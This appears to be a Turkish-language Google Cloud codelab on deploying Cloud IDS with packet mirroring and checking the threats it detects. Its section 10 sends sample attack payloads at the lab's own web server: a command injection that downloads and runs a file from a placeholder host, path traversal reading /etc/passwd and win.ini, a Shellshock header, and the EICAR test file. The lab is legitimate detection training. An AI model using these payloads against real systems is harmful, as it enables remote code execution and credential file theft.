Cloud IDS

1. Giriş

Bu laboratuvarda, izinsiz girişler, kötü amaçlı yazılımlar, casus yazılımlar ve komuta ve kontrol saldırıları için tehdit algılama sağlayan yeni nesil gelişmiş bir izinsiz giriş tespiti hizmeti olan Cloud IDS'yi dağıtıyorsunuz. Birden fazla saldırıyı simüle edip tehdit ayrıntılarını Cloud Console'da görüntüleyeceksiniz.

Neler öğreneceksiniz?

  • Cloud IDS uç noktası oluşturma
  • gcloud komutlarıyla 2 sanal makine oluşturma
  • Paket yansıtma politikası oluşturma
  • Sanal makineden saldırı trafiğini simüle etme
  • Cloud Console ve Cloud Logging'de tehdit ayrıntılarını görüntüleme

Gerekenler

  • Temel Linux komutları hakkında bilgi

2. Cloud IDS kullanım alanları

Cloud IDS, müşterilerin PCI 11.4 gibi gelişmiş tehdit algılama ve uygunluk şartlarını karşılamaları için Google Cloud'a özgü yeni nesil bir yetkisiz erişim tespit hizmeti (IDS) sunar. Hizmet, gelişmiş yetkisiz erişim tespiti sağlamak için Palo Alto Networks tehdit koruma teknolojileri tarafından desteklenir. Google Cloud'un birinci sınıf altyapısını Palo Alto Networks'ün birinci sınıf güvenliğiyle birleştiren bu çözüm, müşterilere tümüyle yönetilen, yüksek performanslı ve en yüksek güvenlik etkinliğine sahip gelişmiş tehdit algılama hizmetinin benzersiz bir kombinasyonunu sunar.

Müşteriler buluta geçiş yaparken güvenlik en çok önem verdikleri konulardan biridir. Şirket içinde kullandıkları güvenlik kontrollerine benzer kontrolleri bulutta da kullanmak isterler. Örneğin, izinsiz giriş tespiti hizmeti (IDS). Üçüncü taraf bir güvenlik çözümü dağıtıp altyapıyı yönetmek veya kendi imzalarını getirmek yerine, dağıtım kolaylığı, yüksek performans ve optimize edilmiş maliyetler için buluta özel yönetilen bir IDS çözümü kullanmayı tercih ediyorlar. Google Cloud IDS, müşterilerin zamanlarını tehditleri analiz etmeye ve azaltmaya harcamalarını sağlayan, uçtan uca ve otomatik ölçeklendirme özellikli bir yönetilen IDS hizmeti sunar. Bu hizmet, müşterilerin altyapıyı veya tehdit imzalarını yönetmek için zaman ve kaynak ayırmasına gerek kalmaz.

Cloud IDS, bant dışı olarak dağıtılır ve tehditleri algılayıp bunlarla ilgili uyarı verebilir ancak tehditleri engelleyemez. Palo Alto Network tehdit algılama motoru kullanılarak analiz edilen ağ trafiğinin bir kopyasını oluşturmak için Google Cloud Paket Yansıtma'dan yararlanır.

3. Codelab topolojisi

5a276f399e1d31e2.png

Şekil 1. Bu laboratuvar için Cloud IDS dağıtımının üst düzey mimari genel görünümü.

4. Kurulum ve Gereksinimler

Yönlendirmesiz ortam kurulumu

  1. Google Cloud Console'da oturum açın ve yeni bir proje oluşturun veya mevcut bir projeyi yeniden kullanın. Gmail veya Google Workspace hesabınız yoksa hesap oluşturmanız gerekir.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Proje adı, bu projenin katılımcıları için görünen addır. Google API'leri tarafından kullanılmayan bir karakter dizisidir ve istediğiniz zaman güncelleyebilirsiniz.
  • Proje kimliği, tüm Google Cloud projelerinde benzersiz olmalı ve sabittir (ayarlandıktan sonra değiştirilemez). Cloud Console, benzersiz bir dizeyi otomatik olarak oluşturur. Genellikle bu dizenin ne olduğuyla ilgilenmezsiniz. Çoğu codelab'de proje kimliğine (genellikle PROJECT_ID olarak tanımlanır) başvurmanız gerekir. Bu nedenle, beğenmezseniz başka bir rastgele kimlik oluşturabilir veya kendi kimliğinizi deneyip kullanılabilir olup olmadığını görebilirsiniz. Proje oluşturulduktan sonra bu değer "dondurulur".
  • Bazı API'lerin kullandığı üçüncü bir değer olan Proje Numarası da vardır. Bu üç değer hakkında daha fazla bilgiyi belgelerde bulabilirsiniz.
  1. Ardından, Cloud kaynaklarını/API'lerini kullanmak için Cloud Console'da faturalandırmayı etkinleştirmeniz gerekir. Bu codelab'i tamamlamak neredeyse hiç maliyetli değildir. Bu eğitimin ötesinde faturalandırma ücreti alınmaması için kaynakları kapatmak üzere codelab'in sonunda bulunan "temizleme" talimatlarını uygulayın. Google Cloud'un yeni kullanıcıları 300 ABD doları değerinde ücretsiz deneme programından yararlanabilir.

Cloud Shell'i başlatma

Google Cloud, dizüstü bilgisayarınızdan uzaktan çalıştırılabilir. Ancak bu codelab'de, Cloud'da çalışan bir komut satırı ortamı olan Google Cloud Shell'i kullanacaksınız.

GCP Console'da sağ üstteki araç çubuğunda Cloud Shell simgesini tıklayın:

bce75f34b2c53987.png

Ortamın temel hazırlığı ve bağlanması yalnızca birkaç dakikanızı alır. İşlem tamamlandığında aşağıdakine benzer bir sonuç görürsünüz:

f6ef2b5f13479f3a.png

Bu sanal makine, ihtiyaç duyacağınız tüm geliştirme araçlarını içerir. 5 GB boyutunda kalıcı bir ana dizin sunar ve Google Cloud üzerinde çalışır. Bu sayede ağ performansı ve kimlik doğrulama önemli ölçüde güçlenir. Bu laboratuvardaki çalışmalarınızın tamamını yalnızca bir tarayıcı kullanarak yapabilirsiniz.

5. Başlamadan önce

API'leri etkinleştir

Cloud Shell'de proje kimliğinizin ayarlandığından emin olun.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Gerekli tüm hizmetleri etkinleştirin

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. VPC ağı oluştur

VPC Ağı

Cloud Shell'den

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Alt ağ

Cloud Shell'den

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Özel Hizmet Erişimi

Cloud Shell'den

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connection

Cloud Shell'den

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Güvenlik Duvarı Kuralları

IAP'nin sanal makine örneklerinize bağlanmasına izin vermek için aşağıdaki özellikleri içeren bir güvenlik duvarı kuralı oluşturun:

  • IAP kullanarak erişmek istediğiniz tüm sanal makine örnekleri için geçerlidir.
  • 35.235.240.0/20 IP aralığından gelen giriş trafiğine izin verir. Bu aralık, IAP'nin TCP yönlendirme için kullandığı tüm IP adreslerini içerir.

Cloud Shell'den

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Standart HTTP bağlantı noktasına (TCP 80) ve ICMP protokolünün sunucuya ulaşmasına izin vermek için:

  • "server" ağ etiketine sahip kaynaklar için geçerlidir.
  • Tüm kaynaklardan girişe izin verir.

Cloud Shell'den

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT örneği oluşturma

Cloud Router

Cloud Shell'den

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Cloud Shell'den

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Cloud IDS uç noktası oluşturma

Bu bölümde, us-east1'de bilgi düzeyinde önem derecesine sahip bir Cloud IDS uç noktası oluşturacaksınız. IDS uç noktasının oluşturulması yaklaşık 20 dakika sürer.

IDS uç noktası

Cloud Shell'den

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Cloud IDS uç noktasının başlatıldığını doğrulama

gcloud ids endpoints list --project=$PROJECT_ID

Çıkış -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 2 sanal makine oluşturma

Bu bölümde 2 sanal makine oluşturacaksınız. Birincisi, Cloud IDS'ye yansıtılan web sunucunuzdur. İkinci sanal makine, saldırı trafiği kaynağınız olacaktır.

Sanal Makine 1 (Sunucu)

Cloud Shell'den

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Sanal Makine 2 (İstemci)

Cloud Shell'den

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Sunucuyu hazırlama

Bu görevde, sunucunuzu doğrulayacak ve istemciniz için zararsız bir kötü amaçlı yazılım yükü sağlayacaksınız.

Cloud Shell aracılığıyla sanal makineye SSH ile bağlanma

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Web hizmetinin çalıştığını onaylayın

sudo systemctl status nginx

Çıkış: Etkin ve çalışır durumda olduğunu doğrulayın.

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Dizini web hizmetine değiştirme

cd /var/www/html/

Web sunucusunda zararsız bir kötü amaçlı yazılım dosyası oluşturma

sudo touch eicar.file

İçeriği yapıştırın

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Cloud Shell'e dönme

exit

Cloud IDS paket yansıtma politikası oluşturma

IDS uç noktası yönlendirme kuralını belirleyin ve IDS uç noktası durumunun "HAZIR" olduğunu onaylayın.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Örnek Çıkış: "endpointForwardingRule"dan değeri kopyalayın.

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

IDS uç noktası yönlendirme kuralını bir değişkene kaydedin.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Paket Yansıtma Politikası

Cloud Shell'den

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Paket yansıtma politikasının oluşturulduğunu doğrulayın

Cloud Shell'den

gcloud compute packet-mirrorings list

Çıkış

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Saldırı trafiğini simüle etme

Saldırganın sanal makinesine (istemci) SSH kullanarak bağlanma

Cloud Shell'den

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Kötü amaçlı trafiği simüle etmek için aşağıdaki curl isteklerini çalıştırın.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Cloud Shell'e dönmek için sanal makineden çıkın.

exit

11. Cloud IDS tarafından algılanan tehditleri inceleme

Cloud IDS kontrol paneline gitme

Gezinme menüsü > Ağ Güvenliği > Cloud IDS

37583419aa604aa8.png

Tehditler sekmesine gidin.

b7d934f409b4e2b.png

Gördüğünüz gibi Cloud IDS, çeşitli saldırı trafiği profillerini yakaladı ve her tehditle ilgili ayrıntıları sağladı. Herhangi bir tehdit görmüyorsanız "Yenile" düğmesini tıklamanız gerekebilir. Şimdi biraz daha ayrıntıya inip tehdit ayrıntılarını inceleyelim.

"Bash Uzaktan Kod Yürütme Güvenlik Açığı" tehdidini bulun, sağdaki üç noktayı tıklayın ve "Tehdit ayrıntılarını görüntüle"yi seçin.

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Şimdi bu olayın ayrıntılarını Cloud Logging'de görüntüleyeceğiz. Sola bakan oku tıklayarak Tehditler sayfasına geri dönün .

Sağdaki üç noktayı tıklayın ve "Tehdit günlüklerini görüntüle"yi seçin.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Aynı ayrıntılar Cloud Logging'e de sağlanır. Bu sayede günlükleri Cloud Storage, Chronicle veya herhangi bir SIEM/SOAR'a gönderebilirsiniz. Ayrıca, uyarılara göre düzeltme işlemi yapmak için özel iş akışları da oluşturabilirsiniz. Örneğin, bir uyarı tetiklendiğinde çalışan bir Cloud işlevi oluşturabilir ve IP adresini engellemek için bir güvenlik duvarı kuralı oluşturabilir/güncelleyebilir veya bir Cloud Armor politikası oluşturabilir/güncelleyebilirsiniz.

12. Temizleme adımları

Sanal makine örneğinden çıkma (tüm sekmeler)

exit

Tek bir Cloud Shell terminalinden laboratuvar bileşenlerini silme

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Tebrikler!

Codelab'i tamamladığınız için tebrik ederiz.

İşlediğimiz konular

  • Cloud IDS kullanım alanları
  • Ağ gereksinimleri
  • Desteklenen API'ler
  • Cloud IDS uç noktası oluşturduysanız
  • 2 sanal makine dağıtıldı
  • İstemciden "saldırı" trafiği oluşturulmuş
  • Doğrulanmış tehditler IDS tarafından algılandı
  • Tehdit ayrıntılarını ve günlüklerini inceleme